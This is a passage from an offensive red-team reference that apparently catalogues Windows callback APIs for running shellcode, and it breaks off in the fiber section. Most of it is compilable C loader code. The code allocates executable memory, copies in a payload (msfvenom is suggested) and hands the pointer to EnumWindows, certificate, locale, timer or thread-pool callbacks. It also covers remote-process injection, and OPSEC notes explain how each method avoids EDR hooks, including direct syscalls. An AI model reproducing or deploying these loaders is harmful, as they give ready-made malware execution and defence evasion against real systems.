Legend:
[CALLBACK]= Callback-based execution technique |[WINAPI]= Windows API used |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[EDR]= EDR relevance |[C2]= C2 framework relevance
1. What is Callback Code Execution
What it means: Windows APIs extensively use callback functions — they accept a function pointer from the caller, then call into that pointer as part of their operation. Normally, you pass a legitimate function. In offensive use, you pass a pointer to shellcode. The API calls your shellcode for you.
Normal flow:
App → EnumWindows(LegitCallback, 0) → EnumWindows internally calls LegitCallback(hwnd, 0)
Offensive flow:
App → EnumWindows(pShellcode, 0) → EnumWindows internally calls pShellcode(hwnd, 0)
↑
Your shellcode runs here!
Why Windows allows this: Callbacks are a core design pattern in the Win32 API. There is no built-in mechanism to verify whether a callback pointer points to legitimate code or shellcode. The OS just calls whatever address you give it.
The fundamental trick:
1. Allocate RWX (or RW then RX) memory
2. Copy shellcode into that allocation
3. Get the allocation address as a function pointer
4. Pass that pointer to any Windows API that accepts a callback
5. When the API "calls the callback" → your shellcode executes
6. No CreateThread, no CreateRemoteThread required
Why this is powerful for red teaming / C2:
Traditional loader: Callback loader:
──────────────────── ────────────────────
VirtualAlloc (RWX) VirtualAlloc (RWX)
memcpy memcpy
CreateThread ← EDR hook EnumWindows ← No hook
[OPSEC] EDR products hook NtCreateThread, NtCreateThreadEx, CreateRemoteThread. Callbacks bypass all of these because the shellcode runs inside an existing thread, invoked by a legitimate Win32 API.
2. Why Callbacks Instead of CreateThread
What it means: Understanding why we use callbacks is critical for both evading defenses and building better implants.
2.1 The Problem with CreateThread
CreateThread / CreateRemoteThread path:
Loader.exe
└─ CreateThread()
└─ ntdll!NtCreateThread() ← EDR HOOK (user-mode)
└─ Kernel: KiSystemCall64
└─ Syscall → PsCreateSystemThread
└─ New thread created → Thread start = shellcode
↑ EDR sees: new thread with entry point in heap/private memory
↑ ALERT: Thread with no PE-backed entry point!
2.2 What Callbacks Look Like
EnumWindows() path:
Loader.exe
└─ EnumWindows(shellcode_ptr, 0) ← LEGITIMATE API CALL
└─ USER32!EnumWindows() ← No thread creation
└─ Internally iterates windows
└─ Calls shellcode_ptr(hwnd, 0) ← Looks like a callback being called
└─ Shellcode executes
↑ EDR sees: EnumWindows calling a function — looks normal
2.3 Thread Context Comparison
| Attribute | CreateThread | Callback Exec |
|---|---|---|
| New thread created? | YES | NO — same thread |
| Thread start address in heap? | YES — flagged | N/A — no new thread |
| API monitored by EDR? | YES (ntdll hooks) | No (or far less) |
| Stack unwinding expected? | Simple | Looks like API call chain |
| Works from injected DLL? | Yes | Yes |
| Works from shellcode itself? | Complex | Yes — just call the API |
[EDR] EDR products like CrowdStrike, SentinelOne, and Windows Defender ATP monitor thread creation APIs heavily. Callback execution skips this entire detection surface.
3. Core Concept — How Callback Execution Works
What it means: All callback techniques share the same underlying pattern. Once you understand this, all 50+ techniques are variations on the same theme.
3.1 The Callback Function Signature
Windows APIs specify a required callback prototype. Your shellcode just needs to be at the right address — the parameters pushed onto the stack by the API don't usually matter because shellcode uses its own stack.
// Example: EnumWindows expects this signature:
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
// Your "callback" is just shellcode starting at that address:
// EnumWindows passes hwnd and lParam on the stack
// Shellcode ignores these and just runs
// Shellcode calls ExitProcess() or returns cleanly when done
3.2 The Universal Template (C)
#include <windows.h>
#include <stdio.h>
// ── Shellcode placeholder (replace with your payload) ──────────────
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
// ... rest of shellcode ...
};
unsigned int shellcode_len = sizeof(shellcode);
int main() {
// Step 1: Allocate executable memory
LPVOID exec_mem = VirtualAlloc(
NULL, // Let OS choose address
shellcode_len, // Size
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // RWX (or do RW then RX flip — see §4)
);
if (!exec_mem) { printf("[-] VirtualAlloc failed\n"); return 1; }
// Step 2: Copy shellcode into allocation
RtlMoveMemory(exec_mem, shellcode, shellcode_len);
// Step 3: Pass pointer to a callback-based API
// (Specific API varies — see each technique below)
EnumWindows((WNDENUMPROC)exec_mem, NULL);
// Step 4: Cleanup (if shellcode returns)
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
3.3 Compile Commands
# MinGW (cross-compile from Linux)
x86_64-w64-mingw32-gcc callback_exec.c -o callback_exec.exe -luser32 -lkernel32
# MSVC (native Windows)
cl.exe callback_exec.c /Fe:callback_exec.exe user32.lib kernel32.lib
# With additional libs (for crypto/symbol callbacks)
x86_64-w64-mingw32-gcc callback_exec.c -o callback_exec.exe \
-luser32 -lkernel32 -lcrypt32 -ldbghelp -lpsapi -lwintrust
4. Memory Setup — The Common Foundation
What it means: Before any callback technique works, you need shellcode in executable memory. The memory allocation strategy is a detection vector — choose it based on your OPSEC requirements.
4.1 RWX Allocation (Simple, Detectable)
// RWX — readable, writable, AND executable from the start
// Easy to implement, but EDR flags private RWX memory immediately
LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(mem, shellcode, sc_len);
// → Use callback API here
[DETECT] Private memory allocated with PAGE_EXECUTE_READWRITE is a major detection signal. CrowdStrike, SentinelOne, and Defender ATP all alert on this pattern.
4.2 RW → RX Flip (Better OPSEC)
// Allocate as RW (write shellcode)
LPVOID mem = VirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, sc_len);
// Flip to RX (no more write permission)
DWORD old_protect;
VirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old_protect);
// → Use callback API here
[OPSEC] RW → RX flip is standard in modern implants. The memory is never RWX simultaneously, which avoids the most common EDR heuristic.
4.3 Heap Allocation
// Allocate from heap (less suspicious allocation source)
HANDLE heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
LPVOID mem = HeapAlloc(heap, 0, sc_len);
memcpy(mem, shellcode, sc_len);
// → Use callback API here
HeapFree(heap, 0, mem);
HeapDestroy(heap);
4.4 Using VirtualAllocEx (Remote Process)
// Inject into another process first, then use callback in that process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);
LPVOID mem = VirtualAllocEx(hProc, NULL, sc_len, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, mem, shellcode, sc_len, NULL);
// Then trigger execution via callback in target process
// (e.g., with APC, or inject a loader DLL that calls callback)
4.5 NtAllocateVirtualMemory (Syscall — Maximum OPSEC)
// Bypass userland API hooks by going direct to kernel
// Use SysWhispers2/3 or Hell's Gate to resolve syscall numbers
typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits,
PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect
);
// Example using direct syscall stub (SysWhispers3)
PVOID mem = NULL;
SIZE_T sz = sc_len;
NtAllocateVirtualMemory(GetCurrentProcess(), &mem, 0, &sz,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, sc_len);
ULONG old;
NtProtectVirtualMemory(GetCurrentProcess(), &mem, &sz, PAGE_EXECUTE_READ, &old);
[OPSEC] Direct syscalls bypass userland EDR hooks entirely. This is the highest-OPSEC allocation method available without kernel access.
5. Enum* Callback Techniques
What it means: Windows provides dozens of Enum* APIs that iterate over system objects (windows, fonts, locales, monitors, etc.) and call a user-supplied callback for each item. Every single one of these is a potential shellcode execution primitive.
5.1 EnumWindows
[CALLBACK] Header: windows.h | DLL: user32.dll
What it does: Enumerates all top-level windows and calls your callback with each HWND. One of the most commonly used callback techniques.
// Prototype:
BOOL EnumWindows(WNDENUMPROC lpEnumFunc, LPARAM lParam);
// lpEnumFunc: callback(HWND hwnd, LPARAM lParam) → BOOL
// Full Example:
#include <windows.h>
unsigned char shellcode[] = { /* your shellcode bytes */ };
int main() {
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, shellcode, sizeof(shellcode));
EnumWindows((WNDENUMPROC)mem, 0);
VirtualFree(mem, 0, MEM_RELEASE);
return 0;
}
# Compile
x86_64-w64-mingw32-gcc enum_windows.c -o enum_windows.exe -luser32
[OPSEC] Works reliably because top-level windows always exist. The API is in user32.dll which is loaded in nearly every Windows process — looks native.
[DETECT] Extremely popular — behavioral detection now watches for EnumWindows followed by suspicious memory patterns.
5.2 EnumChildWindows
[CALLBACK] DLL: user32.dll
What it does: Enumerates child windows of a given parent HWND. If no child windows exist under the specified parent, the callback may not be called — use GetDesktopWindow() as the parent for reliability.
// Prototype:
BOOL EnumChildWindows(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam);
// Example:
EnumChildWindows(GetDesktopWindow(), (WNDENUMPROC)exec_mem, 0);
// Or find a window with children:
HWND parent = FindWindow(NULL, L"Program Manager"); // always has children
EnumChildWindows(parent, (WNDENUMPROC)exec_mem, 0);
[OPSEC] Slightly less monitored than EnumWindows. Using GetDesktopWindow() guarantees the callback fires.
5.3 EnumDesktopWindows
[CALLBACK] DLL: user32.dll
What it does: Enumerates all windows on a given desktop. Similar to EnumWindows but scoped to a specific desktop object.
// Prototype:
BOOL EnumDesktopWindows(HDESK hDesktop, WNDENUMPROC lpfn, LPARAM lParam);
// NULL for hDesktop uses the current desktop
EnumDesktopWindows(NULL, (WNDENUMPROC)exec_mem, 0);
// Explicit desktop:
HDESK hDesk = OpenDesktop(L"Default", 0, FALSE, DESKTOP_ENUMERATE);
EnumDesktopWindows(hDesk, (WNDENUMPROC)exec_mem, 0);
CloseDesktop(hDesk);
5.4 EnumThreadWindows
[CALLBACK] DLL: user32.dll
What it does: Enumerates all non-child windows associated with a thread. Less noisy than EnumWindows since it's scoped to a specific thread.
// Prototype:
BOOL EnumThreadWindows(DWORD dwThreadId, WNDENUMPROC lpfn, LPARAM lParam);
// Use current thread ID:
EnumThreadWindows(GetCurrentThreadId(), (WNDENUMPROC)exec_mem, 0);
// NOTE: If current thread has no windows, callback may not fire
// Create a dummy window first if needed, or use another thread's ID
[OPSEC] Low visibility — thread-scoped enumeration is rarely monitored by behavioral heuristics.
5.5 EnumDesktopW / EnumWindowStationsW
[CALLBACK] DLL: user32.dll
What it does: EnumDesktopW enumerates desktops in a window station. EnumWindowStationsW enumerates all window stations in the session.
// EnumDesktopW prototype:
BOOL EnumDesktopsW(HWINSTA hwinsta, DESKTOPENUMPROCW lpEnumFunc, LPARAM lParam);
// Callback: BOOL CALLBACK proc(LPWSTR lpszDesktop, LPARAM lParam)
// EnumWindowStationsW prototype:
BOOL EnumWindowStationsW(WINSTAENUMPROCW lpEnumFunc, LPARAM lParam);
// Callback: BOOL CALLBACK proc(LPWSTR lpszWindowStation, LPARAM lParam)
// Examples:
HWINSTA hStation = GetProcessWindowStation();
EnumDesktopsW(hStation, (DESKTOPENUMPROCW)exec_mem, 0);
EnumWindowStationsW((WINSTAENUMPROCW)exec_mem, 0);
[OPSEC] Very low detection rate — rarely appears in malware signatures. Involves window station internals that security tools less commonly hook.
5.6 EnumFontFamiliesW / EnumFontFamiliesExW / EnumFontsW
[CALLBACK] DLL: gdi32.dll
What it does: Enumerates installed fonts and calls the callback for each. Very reliable — every Windows system has fonts installed.
#include <windows.h>
// Prototype:
int EnumFontFamiliesExW(HDC hdc, LPLOGFONTW lpLogfont, FONTENUMPROCW lpProc, LPARAM lParam, DWORD dwFlags);
int EnumFontFamiliesW(HDC hdc, LPCWSTR lpszFamily, FONTENUMPROCW lpProc, LPARAM lParam);
int EnumFontsW(HDC hdc, LPCWSTR lpFaceName, FONTENUMPROCW lpProc, LPARAM lParam);
// Callback: int CALLBACK proc(const LOGFONT*, const TEXTMETRIC*, DWORD, LPARAM) → int
// Example (EnumFontFamiliesExW):
HDC hdc = GetDC(NULL); // Get screen DC
LOGFONTW lf = {0};
lf.lfCharSet = DEFAULT_CHARSET; // Enumerate all charsets
EnumFontFamiliesExW(hdc, &lf, (FONTENUMPROCW)exec_mem, 0, 0);
ReleaseDC(NULL, hdc);
// Simpler (EnumFontsW):
HDC hdc = GetDC(NULL);
EnumFontsW(hdc, NULL, (FONTENUMPROCW)exec_mem, 0);
ReleaseDC(NULL, hdc);
# Compile (need gdi32)
x86_64-w64-mingw32-gcc font_exec.c -o font_exec.exe -lgdi32 -luser32
[OPSEC] GDI callbacks are very legitimate-looking. Font enumeration is common in GUI apps and document viewers.
5.7 EnumDisplayMonitors
[CALLBACK] DLL: user32.dll
What it does: Enumerates display monitors. Works even with a single monitor — always at least one monitor exists.
// Prototype:
BOOL EnumDisplayMonitors(HDC hdc, LPCRECT lprcClip, MONITORENUMPROC lpfnEnum, LPARAM dwData);
// Callback: BOOL CALLBACK proc(HMONITOR hMon, HDC hdcMon, LPRECT lprcMon, LPARAM dwData)
// Example:
EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)exec_mem, 0);
// NULL hdc = use virtual screen DC
// NULL clip = enumerate all monitors
[OPSEC] Very clean — single legitimate API call. Monitor enumeration is done by every display-related application.
5.8 EnumObjects
[CALLBACK] DLL: gdi32.dll
What it does: Enumerates GDI objects (pens or brushes) for a DC. Slightly more niche — requires specifying object type.
// Prototype:
int EnumObjects(HDC hdc, int nType, GOBJENUMPROC lpObjectFunc, LPARAM lParam);
// nType: OBJ_BRUSH or OBJ_PEN
// Callback: int CALLBACK proc(LPVOID lpLogObject, LPARAM lParam) → int
// Example:
HDC hdc = GetDC(NULL);
EnumObjects(hdc, OBJ_BRUSH, (GOBJENUMPROC)exec_mem, 0);
ReleaseDC(NULL, hdc);
5.9 EnumPropsW / EnumPropsEx
[CALLBACK] DLL: user32.dll
What it does: Enumerates window properties. Requires a window with properties set on it. Can create a dummy window with properties.
// Prototype:
int EnumPropsW(HWND hWnd, PROPENUMPROCW lpEnumFunc);
int EnumPropsExW(HWND hWnd, PROPENUMPROCEXW lpEnumFunc, LPARAM lParam);
// EnumPropsExW callback: BOOL CALLBACK proc(HWND hwnd, LPCWSTR lpszString, HANDLE hData, LPARAM lParam)
// Example — create dummy window, add property, enumerate:
HWND hwnd = CreateWindowExW(0, L"STATIC", L"dummy", WS_POPUP,
0, 0, 0, 0, NULL, NULL, GetModuleHandle(NULL), NULL);
// Set a property on the window
SetPropW(hwnd, L"MyProp", (HANDLE)0xDEADBEEF);
// Enumerate — callback fires once per property
EnumPropsExW(hwnd, (PROPENUMPROCEXW)exec_mem, 0);
DestroyWindow(hwnd);
5.10 EnumCalendarInfo / EnumCalendarInfoEx
[CALLBACK] DLL: kernel32.dll
What it does: Enumerates locale-specific calendar information. Calls back for each calendar data string.
// Prototype:
BOOL EnumCalendarInfoW(CALINFO_ENUMPROC lpCalInfoEnumProc, LCID Locale, CALID Calendar, CALTYPE CalType);
BOOL EnumCalendarInfoExW(CALINFO_ENUMPROCEXW pCalInfoEnumProcEx, LCID Locale, CALID Calendar, CALTYPE CalType);
// Callback: BOOL CALLBACK proc(LPWSTR lpCalendarInfoString) → BOOL
// Example:
EnumCalendarInfoW((CALINFO_ENUMPROC)exec_mem, LOCALE_USER_DEFAULT, ENUM_ALL_CALENDARS, CAL_SMONTHNAME1);
[OPSEC] Kernel32 API — looks like locale/globalization code. Low suspicion for international applications.
5.11 EnumTimeFormatsEx
[CALLBACK] DLL: kernel32.dll
What it does: Enumerates time formats for a locale. Triggers callback for each time format string.
// Prototype:
BOOL EnumTimeFormatsEx(TIMEFMT_ENUMPROCEX lpTimeFmtEnumProcEx, LPCWSTR lpLocaleName, DWORD dwFlags, LPARAM lParam);
// Callback: BOOL CALLBACK proc(LPWSTR lpTimeFormatString, LPARAM lParam) → BOOL
// Example:
EnumTimeFormatsEx((TIMEFMT_ENUMPROCEX)exec_mem, LOCALE_NAME_USER_DEFAULT, 0, 0);
5.12 EnumUILanguagesW / EnumLanguageGroupLocalesW / EnumSystemLocales
[CALLBACK] DLL: kernel32.dll
What it does: Enumerate installed UI languages, language group locales, and system locales respectively.
// EnumUILanguagesW prototype:
BOOL EnumUILanguagesW(UILANGUAGE_ENUMPROCW lpUILanguageEnumProc, DWORD dwFlags, LONG_PTR lParam);
// Callback: BOOL CALLBACK proc(LPWSTR lpUILanguageString, LONG_PTR lParam)
// EnumLanguageGroupLocalesW prototype:
BOOL EnumLanguageGroupLocalesW(LANGGROUPLOCALE_ENUMPROCW lpLangGroupLocaleEnumProc, LGRPID LanguageGroup, DWORD dwFlags, LONG_PTR lParam);
// EnumSystemLocalesW prototype:
BOOL EnumSystemLocalesW(LOCALE_ENUMPROCW lpLocaleEnumProc, DWORD dwFlags);
// Callback: BOOL CALLBACK proc(LPWSTR lpLocaleString) → BOOL
// Examples:
EnumUILanguagesW((UILANGUAGE_ENUMPROCW)exec_mem, MUI_LANGUAGE_NAME, 0);
EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)exec_mem, LGRPID_WESTERN_EUROPE, 0, 0);
EnumSystemLocalesW((LOCALE_ENUMPROCW)exec_mem, LCID_INSTALLED);
[OPSEC] Locale enumeration APIs are extremely common in legitimate internationalization code.
5.13 EnumPageFilesW
[CALLBACK] DLL: psapi.dll / kernel32.dll
What it does: Enumerates system page files. Calls callback for each page file found.
#include <psapi.h>
// Prototype:
BOOL EnumPageFilesW(PENUM_PAGE_FILE_CALLBACKW pCallBackRoutine, LPVOID pContext);
// Callback: BOOL CALLBACK proc(LPVOID pContext, PENUM_PAGE_FILE_INFORMATION pPageFileInfo, LPCWSTR lpFilename)
// Example:
EnumPageFilesW((PENUM_PAGE_FILE_CALLBACKW)exec_mem, NULL);
# Compile with psapi
x86_64-w64-mingw32-gcc pagefile_exec.c -o pagefile_exec.exe -lpsapi
5.14 EnumICMProfiles
[CALLBACK] DLL: gdi32.dll
What it does: Enumerates ICC/ICM color profiles registered for a device context.
// Prototype:
int EnumICMProfilesW(HDC hDC, ICMENUMPROCW lpProc, LPARAM lParam);
// Callback: int CALLBACK proc(LPWSTR lpFileName, LPARAM lParam) → int
// Example:
HDC hdc = GetDC(NULL);
EnumICMProfilesW(hdc, (ICMENUMPROCW)exec_mem, 0);
ReleaseDC(NULL, hdc);
5.15 EnumResourceTypesW / EnumResourceTypesExW
[CALLBACK] DLL: kernel32.dll
What it does: Enumerates resource types in a module (PE file). Calls callback for each resource type found.
// Prototype:
BOOL EnumResourceTypesW(HMODULE hModule, ENUMRESTYPEPROCW lpEnumFunc, LONG_PTR lParam);
BOOL EnumResourceTypesExW(HMODULE hModule, ENUMRESTYPEPROCW lpEnumFunc, LONG_PTR lParam, DWORD dwFlags, LANGID LangId);
// Callback: BOOL CALLBACK proc(HMODULE hModule, LPWSTR lpType, LONG_PTR lParam) → BOOL
// Example — enumerate resources of current process executable:
EnumResourceTypesW(GetModuleHandle(NULL), (ENUMRESTYPEPROCW)exec_mem, 0);
// Or target a loaded DLL:
HMODULE hMod = LoadLibrary(L"ntdll.dll"); // or any loaded module
EnumResourceTypesExW(hMod, (ENUMRESTYPEPROCW)exec_mem, 0, 0, 0);
[OPSEC] PE resource enumeration is done by many legitimate tools (resource editors, packers, installers). Very low suspicion.
5.16 EnumDirTreeW
[CALLBACK] DLL: dbghelp.dll
What it does: Enumerates files matching a wildcard in a directory tree. Part of DbgHelp — appears in debugger-related code.
#include <dbghelp.h>
// Prototype:
BOOL EnumDirTree(HANDLE hProcess, PCSTR RootPath, PCSTR InputPathName, PSTR OutputPathBuffer, PENUMDIRTREE_CALLBACK cb, PVOID data);
BOOL EnumDirTreeW(HANDLE hProcess, PCWSTR RootPath, PCWSTR InputPathName, PWSTR OutputPathBuffer, PENUMDIRTREE_CALLBACKW cb, PVOID data);
// Callback: BOOL CALLBACK proc(LPCWSTR FilePath, PVOID CallerData)
// Example:
WCHAR outBuf[MAX_PATH] = {0};
EnumDirTreeW(GetCurrentProcess(), L"C:\\Windows\\System32", L"*.dll", outBuf, (PENUMDIRTREE_CALLBACKW)exec_mem, NULL);
# Compile with dbghelp
x86_64-w64-mingw32-gcc dirTree_exec.c -o dirTree_exec.exe -ldbghelp
[OPSEC] DbgHelp callbacks are associated with debuggers and dev tools. Unusual in production malware — unexpected from an EDR behavioral perspective.
5.17 EnumerateLoadedModules / LdrEnumerateLoadedModules
[CALLBACK] DLL: dbghelp.dll / ntdll.dll
What it does: EnumerateLoadedModules (dbghelp) enumerates loaded modules in a process via a callback. LdrEnumerateLoadedModules is the undocumented NT equivalent operating directly on the PEB loader data.
#include <dbghelp.h>
// EnumerateLoadedModules (DbgHelp):
// Prototype:
BOOL EnumerateLoadedModules64(HANDLE hProcess, PENUMLOADED_MODULES_CALLBACK64 EnumLoadedModulesCallback, PVOID UserContext);
// Callback: BOOL CALLBACK proc(PCSTR ModuleName, DWORD64 ModuleBase, ULONG ModuleSize, PVOID UserContext)
// Example:
EnumerateLoadedModules64(GetCurrentProcess(), (PENUMLOADED_MODULES_CALLBACK64)exec_mem, NULL);
// LdrEnumerateLoadedModules (NT internal, ntdll.dll):
typedef NTSTATUS (NTAPI *pLdrEnumerateLoadedModules)(
ULONG ReservedFlag, // 0
PVOID EnumProc, // callback pointer
PVOID Context // passed to callback
);
// Resolve from ntdll dynamically:
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
pLdrEnumerateLoadedModules LdrEnum = (pLdrEnumerateLoadedModules)GetProcAddress(ntdll, "LdrEnumerateLoadedModules");
LdrEnum(0, exec_mem, NULL);
// Callback signature: void NTAPI proc(PLDR_DATA_TABLE_ENTRY DataTableEntry, PVOID Context, BOOLEAN *Stop)
[OPSEC] LdrEnumerateLoadedModules is an undocumented internal — EDR products are less likely to hook NT-internal functions compared to documented Win32 APIs.
5.18 EnumPwrSchemes
[CALLBACK] DLL: powrprof.dll
What it does: Enumerates power schemes. Calls back for each scheme found.
#include <windows.h>
#include <powrprof.h>
// Prototype:
BOOLEAN EnumPwrSchemes(PWRSCHEMESENUMPROC lpfnPWSCallback, LPARAM lParam);
// Callback: BOOL CALLBACK proc(UINT uiIndex, DWORD dwName, LPWSTR sName, DWORD dwDesc, LPWSTR sDesc, PPOWER_POLICY pp, LPARAM lParam)
// Example:
EnumPwrSchemes((PWRSCHEMESENUMPROC)exec_mem, 0);
# Compile with powrprof
x86_64-w64-mingw32-gcc pwr_exec.c -o pwr_exec.exe -lpowrprof
6. Crypt / Cert Callback Techniques
What it means: The Windows certificate and cryptography subsystem (crypt32.dll) also exposes enumeration APIs with callbacks. These look like legitimate certificate management code.
6.1 CertEnumSystemStore
[CALLBACK] DLL: crypt32.dll
What it does: Enumerates certificate stores (e.g., My, Root, CA). The callback fires for each store name found. Very reliable — multiple stores always exist.
#include <windows.h>
#include <wincrypt.h>
// Prototype:
BOOL CertEnumSystemStore(
DWORD dwFlags,
void *pvSystemStoreLocationPara,
void *pvArg,
PFN_CERT_ENUM_SYSTEM_STORE pfnEnum // ← callback here
);
// Callback: BOOL CALLBACK proc(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg)
// Example:
CertEnumSystemStore(
CERT_SYSTEM_STORE_CURRENT_USER, // enumerate current user's stores
NULL,
NULL,
(PFN_CERT_ENUM_SYSTEM_STORE)exec_mem
);
# Compile with crypt32
x86_64-w64-mingw32-gcc cert_exec.c -o cert_exec.exe -lcrypt32
[OPSEC] Certificate store enumeration is done by every TLS-aware application. Extremely common in browsers, email clients, update services. Very low suspicion.
6.2 CertEnumSystemStoreLocation
[CALLBACK] DLL: crypt32.dll
What it does: Enumerates system store locations (CURRENT_USER, LOCAL_MACHINE, etc.). Fires before you even know which stores are inside.
// Prototype:
BOOL CertEnumSystemStoreLocation(
DWORD dwFlags,
void *pvArg,
PFN_CERT_ENUM_SYSTEM_STORE_LOCATION pfnEnum
);
// Callback: BOOL CALLBACK proc(LPCWSTR pvszStoreLocations, DWORD dwFlags, void *pvReserved, void *pvArg)
// Example:
CertEnumSystemStoreLocation(0, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)exec_mem);
6.3 CryptEnumOIDInfo
[CALLBACK] DLL: crypt32.dll
What it does: Enumerates registered OID (Object Identifier) information entries. OIDs define cryptographic algorithms and certificate extensions — many are registered.
// Prototype:
BOOL CryptEnumOIDInfo(
DWORD dwGroupId,
DWORD dwFlags,
void *pvArg,
PFN_CRYPT_ENUM_OID_INFO pfnEnumOIDInfo
);
// Callback: BOOL CALLBACK proc(PCCRYPT_OID_INFO pInfo, void *pvArg)
// Example — enumerate ALL OID groups:
CryptEnumOIDInfo(0, 0, NULL, (PFN_CRYPT_ENUM_OID_INFO)exec_mem);
// dwGroupId=0 means enumerate all groups
[OPSEC] OID enumeration is deep in the crypto subsystem. Behavioral detection on this API is extremely rare.
7. Timer & Thread Pool Callbacks
What it means: Windows provides timer mechanisms where a callback fires after a delay. These are legitimately used for scheduled tasks, keep-alives, and timeouts — and they execute shellcode in the context of an existing thread or thread pool worker.
7.1 SetTimer (User-Mode Timer)
[CALLBACK] DLL: user32.dll
What it does: Registers a window timer. The callback (TIMERPROC) fires after the specified interval. Requires a message loop to process.
#include <windows.h>
unsigned char shellcode[] = { /* shellcode */ };
LPVOID exec_mem;
// Timer callback — called by Windows message loop
void CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime) {
// This IS the shellcode entry point — but we want the callback itself to be shellcode
// So don't define this; instead cast exec_mem as TIMERPROC
}
int main() {
exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
// Register timer with shellcode as the callback
SetTimer(NULL, 0, 100, (TIMERPROC)exec_mem); // 100ms delay
// Message loop to trigger the timer
MSG msg;
GetMessage(&msg, NULL, 0, 0); // Waits for timer message
TranslateMessage(&msg);
DispatchMessage(&msg); // Triggers TIMERPROC = shellcode
return 0;
}
[OPSEC] Requires a message loop to fire — adds complexity but looks like a legitimate GUI application pattern.
7.2 CreateTimerQueueTimer
[CALLBACK] DLL: kernel32.dll
What it does: Creates a timer in a timer queue. The callback runs in a thread pool worker thread after the specified delay. No message loop required.
#include <windows.h>
unsigned char shellcode[] = { /* shellcode */ };
int main() {
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
HANDLE hTimer = NULL;
// CreateTimerQueueTimer:
// Callback fires once after 100ms (no repeat)
CreateTimerQueueTimer(
&hTimer,
NULL, // Default timer queue
(WAITORTIMERCALLBACK)exec_mem,
NULL, // Parameter to callback
100, // Due time (ms)
0, // Period (0 = one-shot)
WT_EXECUTEONLYONCE
);
// Wait for timer to fire
Sleep(500);
return 0;
}
[OPSEC] Thread pool workers are an existing OS mechanism — no new thread creation events from your code. The shellcode runs in a thread pool thread, not a newly created thread.
[DETECT] The callback fires from a ntdll!TppWorkerThread — any shellcode detection in thread pool workers will catch this.
7.3 CreateThreadPoolWait
[CALLBACK] DLL: kernel32.dll
What it does: Creates a thread pool wait object. When the associated event is signaled, the callback fires in a thread pool worker. This was one of the first popularized callback techniques.
#include <windows.h>
unsigned char shellcode[] = { /* shellcode */ };
int main() {
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
// Create the thread pool wait with shellcode as callback
PTP_WAIT ptpWait = CreateThreadpoolWait(
(PTP_WAIT_CALLBACK)exec_mem, // callback = shellcode
NULL, // optional context
NULL // optional callback environ
);
// Create an event to signal the wait
HANDLE hEvent = CreateEvent(NULL, TRUE, TRUE, NULL); // Already signaled
// Set the wait — fires immediately because event is already signaled
SetThreadpoolWait(ptpWait, hEvent, NULL);
// Give thread pool time to execute
WaitForThreadpoolWaitCallbacks(ptpWait, FALSE);
CloseHandle(hEvent);
CloseThreadpoolWait(ptpWait);
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
[OPSEC] Very popular in modern implants (popularized by alfarom256 / aahmad097). Thread pool callback mechanism is legitimate and extremely common in Windows internals.
8. Fiber-Based Execution
What it means: Fibers are a Windows concept for cooperative multitasking within a single thread. A fiber has its own stack and execution context but runs in the host thread. Converting a thread to a fiber and scheduling shellcode as a fiber is a stealthy execution method.
8.1 FiberContextEdit / ConvertThreadToFiber
[CALLBACK] DLL: kernel32.dll
What it does: Converts the current thread to a fiber, then creates a new fiber whose entry point is shellcode. Switching to the fiber executes shellcode.
#include <windows.h>
unsigned char shellcode[] = { /* shellcode */ };
int main() {
// Allocate and copy shellcode
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(exec_mem, shellcode, sizeof(shellcode));
// Step 1: Convert current thread into a fiber (required to use fibers)
LPVOID mainFiber = ConvertThreadToFiber(NULL);
if (!mainFiber) { printf("[-] ConvertThreadToFiber failed\n"); return 1; }
// Step 2: Create a new fiber with shellcode as the entry point
// CreateFiber(stackSize, lpStartAddress, lpParameter)
